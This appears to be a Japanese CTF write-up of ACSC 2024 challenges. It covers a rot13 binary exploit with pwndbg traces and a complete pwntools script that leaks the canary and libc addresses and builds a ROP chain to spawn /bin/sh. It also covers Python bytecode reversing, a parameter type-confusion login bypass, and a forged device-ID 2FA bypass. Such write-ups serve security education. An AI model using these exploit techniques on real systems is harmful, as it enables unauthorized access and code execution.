02:0010│ 0x7fffffffd7f0 —▸ 0x7fffffffda20 ◂— 0x1
03:0018│ 0x7fffffffd7f8 ◂— 0xddd4eac98771f00
04:0020│ rbp 0x7fffffffd800 —▸ 0x7fffffffda20 ◂— 0x1
05:0028│ 0x7fffffffd808 —▸ 0x55555555558d (main+741) ◂— jmp 0x55555555550e
06:0030│ rdi 0x7fffffffd810 ◂— 0x706050403020100
07:0038│ 0x7fffffffd818 ◂— 0xf0e0d0c0b0a0908
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x55555555522a rot13+33
f 1 0x55555555558d main+741
f 2 0x7ffff7c29d90 __libc_start_call_main+128
f 3 0x7ffff7c29e40 __libc_start_main+128
f 4 0x555555555145 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x7fffffffd7a0
00:0000│ 0x7fffffffd7a0 ◂— 0x0
01:0008│ 0x7fffffffd7a8 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0010│ 0x7fffffffd7b0 ◂— 0x0
03:0018│ 0x7fffffffd7b8 ◂— 0x0
04:0020│ 0x7fffffffd7c0 —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0
05:0028│ 0x7fffffffd7c8 —▸ 0x7ffff7c8a5ad (_IO_file_setbuf+13) ◂— test rax, rax
06:0030│ 0x7fffffffd7d0 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887
07:0038│ 0x7fffffffd7d8 —▸ 0x7ffff7c8157f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000
0x7fffffffd810
に table
の先頭が入っていて,その直前にはリターンアドレス,saved rbp,canary があるので,実行ファイルのアドレス,スタックのアドレス,canary がリークできる.
また,それより下位のアドレス (rot13
関数のスタックフレームより上) には libc 上のアドレスが格納されていることが確認できる.
これらは rot13
関数内で,関数を呼ぶと上書きされてしまうが,適当に探すと table[- 13 * 8]
の位置に libc のアドレスが見つかった.
あとは ROP で "/bin/sh"
を適当な場所に置いて system
を呼び出す.
└─< readelf -s -W libc.so.6 | grep " system@"
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
└─< readelf -s -W libc.so.6 | grep " read@"
289: 00000000001147d0 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5
from pwn import *
binary_name = 'rot13'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo = lambda *x, **y: log.info(' '.join(x), **y)
interact = lambda *x, **y: io.interactive(*x, **y)
HOST_NAME, PORT = 'rot13.chal.2024.ctf.acsc.asia 9999'.split()
gdb_script = '''
b *0x000055555555522a
c
'''
gdb_script = '''
b *0x0000555555555598
c
'''
if args.REMOTE:
io = remote(HOST_NAME, PORT)
elif args.LOCAL:
io = remote('localhost', PORT)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
payload = bytes([0x100 - 3 * 8 + i for i in range(8)])
payload += bytes([0x100 - 13 * 8 + i for i in range(8)])
payload += bytes([0x100 - 1 * 8 + i for i in range(8)])
sla(b'Text: ', payload)
res = rl().replace(b'Result: ', b'')
canary = int.from_bytes(res[:8], 'little')
libc_base = int.from_bytes(res[8:16], 'little') - 0x21b780
exec_base = int.from_bytes(res[16:24], 'little') - 0x158d
loginfo(f'canary: {hex(canary)}')
loginfo(f'libc_base: {hex(libc_base)}')
loginfo(f'exec_base: {hex(exec_base)}')
addr_read = libc_base + 0x00000000001147d0
addr_system = libc_base + 0x0000000000050d70
rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7
rop_ret = libc_base + 0x0000000000029139
writable = exec_base + 0x4000 + 0x200
payload = b'a' * 0x100
payload += p64(0)
payload += p64(canary)
payload += p64(1)
payload += p64(rop_pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(writable)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)
payload += p64(rop_pop_rdi)
payload += p64(writable)
payload += p64(rop_ret)
payload += p64(addr_system)
sla(b'Text: ', payload)
sla(b'Text: ', b'')
sl(b'/bin/sh')
interact()
Reversing
compyled
100 pts
authored by splitline
It's just a compiled Python. It won't hurt me...
実行してみると FLAG の入力を促される.
└─< py run.pyc
FLAG> ACSC{hogehoge}
pydisasm を使ってみるもここ以降はエラーが出てしまう.
└─< pydisasm ./run.pyc
# pydisasm version 6.1.0
# Python bytecode 3.10.0 (3439)
# Disassembled from Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
# Timestamp in code: 0 (1970-01-01 09:00:00)
# Source code size mod 2**32: 0 bytes
# Method Name: <eval>
# Filename: <sandbox>
# Argument count: 0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 0
# Stack size: 0
# Flags: 0x00000040 (NOFREE)
# First Line: 0
# Constants:
# 0: 'FLAG> '
# 1: 'CORRECT'
# Names:
# 0: print
# 1: input
# Method Name: <eval>
# Filename: <sandbox>
# Argument count: 0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 0
# Stack size: 0
# Flags: 0x00000040 (NOFREE)
# First Line: 0
# Constants:
# 0: 'FLAG> '
# 1: 'CORRECT'
# Names:
# 0: print
# 1: input
pycdc もうまくいかない.
└─< ~/tools/pycdc/pycdc ./run.pyc
# Source Generated with Decompyle++
# File: run.pyc (Python 3.10)
Error decompyling ./run.pyc: vector::_M_range_check: __n (which is 12) >= this->size() (which is 2)
uncompyle6 も失敗する.
└─< uncompyle6 ./run.pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 3.10.0 (3439)
# Decompiled from: Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0]
# Embedded file name: <sandbox>
Unsupported Python version, 3.10.0, for decompilation
# Unsupported bytecode in file ./run.pyc
# Unsupported Python version, 3.10.0, for decompilation
dis.dis
やといける.
>> 0 JUMP_IF_FALSE_OR_POP 13 (to 26)
2 <13>
4 <0>
6 <0>
8 <0>
10 <0>
>> 12 <0>
14 <0>
16 <227> 0
18 <0>
20 <0>
22 <0>
24 <0>
>> 26 <0>
28 <0>
30 <0>
32 <0>
34 <0>
36 <0>
38 <0>
40 <0>
42 MATCH_CLASS 9
44 <0>
46 LOAD_NAME 1 (1)
48 LOAD_CONST 0 (0)
50 CALL_FUNCTION 1
52 LOAD_CONST 12 (12)
54 LOAD_CONST 20 (20)
56 BUILD_TUPLE 0
58 MATCH_SEQUENCE
60 ROT_TWO
62 POP_TOP
64 DUP_TOP
66 BINARY_ADD
68 DUP_TOP
70 BINARY_ADD
72 DUP_TOP
74 BINARY_ADD
76 DUP_TOP
78 BINARY_ADD
80 DUP_TOP
82 BINARY_ADD
84 DUP_TOP
86 BINARY_ADD
88 BUILD_TUPLE 0
90 MATCH_SEQUENCE
(snip...)
先頭の方の <0>
とかはわからんけど
52 LOAD_CONST 12 (12)
54 LOAD_CONST 20 (20)
とあって,LOAD_CONST
命令は,co_consts[consti]
をスタックにプッシュするので,co_consts[12]
と co_consts[20]
を指しているが,pydisasm の結果を見ると 0 と 1 しかないはずなのでここが原因?
とりあえずここの二命令を nop にしてみる.
d = open('run.pyc', 'rb').read()
d = d.replace(b'\x64\x0c\x64\x14', b'\x09\x00' * 2)
open('run__.pyc', 'wb').write(d)
これで pydisasm を使うときちんとディスアセンブルできる.
# Method Name: <eval>
# Filename: <sandbox>
# Argument count: 0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 0
# Stack size: 0
# Flags: 0x00000040 (NOFREE)
# First Line: 0
# Constants:
# 0: 'FLAG> '
# 1: 'CORRECT'
# Names:
# 0: print
# 1: input
>> 0 LOAD_NAME (input)
2 LOAD_CONST ("FLAG> ")
4 CALL_FUNCTION (1 positional argument)
6 NOP
8 NOP
10 BUILD_TUPLE 0
12 MATCH_SEQUENCE
14 ROT_TWO
16 POP_TOP
18 DUP_TOP
20 BINARY_ADD
22 DUP_TOP
24 BINARY_ADD
26 DUP_TOP
28 BINARY_ADD
30 DUP_TOP
32 BINARY_ADD
34 DUP_TOP
36 BINARY_ADD
38 DUP_TOP
40 BINARY_ADD
42 BUILD_TUPLE 0
44 MATCH_SEQUENCE
46 ROT_TWO
48 POP_TOP
50 BINARY_ADD
52 BUILD_TUPLE 0
54 MATCH_SEQUENCE
56 ROT_TWO
58 POP_TOP
60 DUP_TOP
62 BINARY_ADD
64 DUP_TOP
66 BINARY_ADD
68 DUP_TOP
70 BINARY_ADD
72 DUP_TOP
74 BINARY_ADD
76 DUP_TOP
78 BINARY_ADD
80 BUILD_TUPLE 0
82 MATCH_SEQUENCE
84 ROT_TWO
86 POP_TOP
88 BINARY_ADD
90 DUP_TOP
92 BINARY_ADD
94 BUILD_TUPLE 0
96 MATCH_SEQUENCE
98 ROT_TWO
(snip...)
最初に input
を呼び出している.
そこからは同じような命令のセットが繰り返されている.
- まず
BUILD_TUPLE 0
でスタックに()
を置いている. - その次に
MATCH_SEQUENCE
を実行しているがこれは,スタックのトップがcollections.abc.Sequence
インスタンスで,str/bytes/bytearray
のインスタンスでないなら,スタックのトップにTrue
をそうでなければFalse
を置くようになっている. -
()
なのでおそらくTrue
-
ROT_TWO
命令はスタックのトップ二つを入れ替える. - そして
POP_TOP
が実行される. - ここまでで,スタックには
True
のみが配置されていることになる. - 次に
DUP_TOP
とBINARY_ADD
の組が繰り返し呼び出されているが,DUP_TOP
はスタックのトップを複製してトップに配置し,BINARY_ADD
はスタックの二番目をスタックのトップに足し合わせる命令なので,スタックのトップから64, 32, 16, 8, 4, 2, 1 (= True)
と積まれることになる. - 次に再び
BUILD_TUPLE 0
,MATCH_SEQUENCE
,ROT_TWO
,POP_TOP
が実行されるので,スタックのトップにTrue
が配置される. - そして
BINARY_ADD
命令があるので,スタックのトップには65
がつまれた状態になる. - ここからまた更に同じような処理が実行されて
65
が置かれた上に67
が配置される.
65
は A
,67
は C
なので,FLAG が順に積まれていっていることがわかる.
f = open('./run.pyc.pydisasmed', 'r')
lines = f.readlines()
f.close()
flag = ''
stack = []
i = 0
while i < len(lines):
l = lines[i]
if l.startswith('#') or l == '\n':
i += 1
continue
l = l.strip().split()
if l[0] == '>>':
i += 1
continue
n = int(l[0])
if n < 10 or n >= 2412:
i += 1
continue
opcode = l[1]
if opcode == 'BUILD_TUPLE':
if 'DUP_TOP' in lines[i + 4] and len(stack) > 0:
flag += chr(stack[-1])
stack = []
stack.append(1)
i += 4
elif opcode == 'DUP_TOP':
assert 'BINARY_ADD' in lines[i + 1]
stack.append(stack[-1] * 2)
i += 2
elif opcode == 'BINARY_ADD':
stack[-1] += stack[-2]
i += 1
else:
print('error', lines[i])
print(flag)
Web
Login!
100 pts
authored by splitline
Here comes yet another boring login page ... http://login-web.chal.2024.ctf.acsc.asia:5000
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';
const app = express();
app.use(express.urlencoded({ extended: true }));
const USER_DB = {
user: {
username: 'user',
password: crypto.randomBytes(32).toString('hex')
},
guest: {
username: 'guest',
password: 'guest'
}
};
app.get('/', (req, res) => {
res.send(`
<html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
<body>
<section>
<h1>Login</h1>
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username" length="6" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</section>
</body></html>
`);
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username.length > 6) return res.send('Username is too long');
const user = USER_DB[username];
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
});
app.listen(5000, () => {
console.log('Server is running on port 5000');
});
guest
以外でログインできれば FLAG がもらえる.
USER_DB
からユーザを取得するときは
const user = USER_DB[username];
でユーザ名を確認するときは
username === 'guest'
としている.
===
は強い比較なので username
が文字列でないとそもそも true
とならないが,USER_DB[username]
では username
を自動的に文字列に変換してくれるので
username[]=guest&password=guest
と username
を配列にして POST すると FLAG が得られる.
Too Faulty
150 pts
authored by tsolmon
The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.
http://toofaulty.chal.2024.ctf.acsc.asia:80
二段階認証も設定して一度ログアウトして再びログインしようとすると以下の画面のように 2FA code と CAPTCHA が要求される.
また,よく見ると Trust only this device
とある.
Trust only this device
にチェックを入れて認証に成功すると次からのログインでは特に何もしなくてもユーザ名とパスワードだけでログインできるようになる.
ログイン時のコードを確認すると以下のように deviceId
を送信していることがわかる.
document
.getElementById("loginForm")
.addEventListener("submit", function (event) {
event.preventDefault();
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const browser = bowser.getParser(window.navigator.userAgent);
const browserObject = browser.getBrowser();
const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
const version = versionReg ? versionReg[1] : "unknown";
const deviceId = CryptoJS.HmacSHA1(
`${browserObject.name} ${version}`,
"2846547907"
);
fetch("/login", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-Device-Id": deviceId,
},
body: JSON.stringify({ username, password }),
})
.then((response) => {
if (response.redirected) {
window.location.href = response.url;
} else if (response.ok) {
response.json().then((data) => {
if (data.redirect) {
window.location.href = data.redirect;
} else {
window.location.href = "/";
}
});
} else {
throw new Error("Login failed");
}
})
.catch((error) => {
console.error("Error:", error);
});
});
function redirectToRegister() {
window.location.href = "/register";
}
ただし,この deviceId
はブラウザの名前とバージョンから計算しているため適当に試せば当たりそう.
const browser = bowser.getParser(window.navigator.userAgent);
const browserObject = browser.getBrowser();
const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
const version = versionReg ? versionReg[1] : "unknown";
version;
// >> '122.0'
browserObject.name;
// >> 'Chrome'
あとは問題に admin
とあるので,このパスワードがわかれば良い.
admin
で試してみると二段階認証の画面に進めるのでこれで正しそう.
適当にスクリプトを作成しようと思っていたところで burpsuite で試してみるととたまたま同じで普通にいけた.